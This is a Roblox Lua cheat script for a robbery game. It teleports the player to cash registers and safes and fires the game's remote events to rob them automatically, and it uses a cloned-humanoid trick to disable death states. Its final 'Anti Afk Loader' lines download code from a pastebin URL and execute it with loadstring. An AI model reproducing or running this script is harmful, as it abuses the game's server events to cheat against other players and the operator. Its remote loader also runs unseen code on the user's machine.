local Players = game:GetService("Players") local Workspace = game:GetService("Workspace") local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local localPlayer = Players.LocalPlayer local camera = Workspace.CurrentCamera local character = localPlayer.Character or localPlayer.CharacterAdded:Wait() local humanoid = character:FindFirstChildWhichIsA("Humanoid") local bag = localPlayer:WaitForChild("States"):WaitForChild("Bag") local bagSizeLevel = localPlayer:WaitForChild("Stats"):WaitForChild("BagSizeLevel"):WaitForChild("CurrentAmount") local robEvent = ReplicatedStorage:WaitForChild("GeneralEvents"):WaitForChild("Rob") local humanoidRootPart = character.HumanoidRootPart local targetPosition = CFrame.new(1636.62537, 104.349976, -1736.184) local function moveToTarget() humanoidRootPart.CFrame = targetPosition end local function checkCashRegister() for _, item in ipairs(Workspace:GetChildren()) do if bag.Value == bagSizeLevel.Value then moveToTarget() break elseif item:IsA("Model") and item.Name == "CashRegister" then local openPart = item:FindFirstChild("Open") if openPart then humanoidRootPart.CFrame = openPart.CFrame robEvent:FireServer("Register", { Part = item:FindFirstChild("Union"), OpenPart = openPart, ActiveValue = item:FindFirstChild("Active"), Active = true }) return true end end end return false end local function checkSafe() for _, item in ipairs(Workspace:GetChildren()) do if bag.Value == bagSizeLevel.Value then moveToTarget() break elseif item:IsA("Model") and item.Name == "Safe" and item:FindFirstChild("Amount").Value > 0 then local safePart = item:FindFirstChild("Safe") if safePart then humanoidRootPart.CFrame = safePart.CFrame if item:FindFirstChild("Open").Value then robEvent:FireServer("Safe", item) else item:FindFirstChild("OpenSafe"):FireServer("Completed") robEvent:FireServer("Safe", item) end return true end end end return false end if humanoid then local clonedHumanoid = humanoid:Clone() clonedHumanoid.Parent = character localPlayer.Character = nil clonedHumanoid:SetStateEnabled(Enum.HumanoidStateType.Dead, false) clonedHumanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown, false) clonedHumanoid:SetStateEnabled(Enum.HumanoidStateType.Physics, false) humanoid:Destroy() localPlayer.Character = character camera.CameraSubject = clonedHumanoid camera.CFrame = camera.CFrame clonedHumanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None local animate = character:FindFirstChild("Animate") if animate then animate.Disabled = true task.wait() animate.Disabled = false end clonedHumanoid.Health = clonedHumanoid.MaxHealth end task.wait(2) RunService.RenderStepped:Connect(function() if not checkCashRegister() then checkSafe() end end) -- Anti Afk Loader task.spawn(function() loadstring(game:HttpGet("https://pastebin.com/raw/tCdZnHui", true))() end)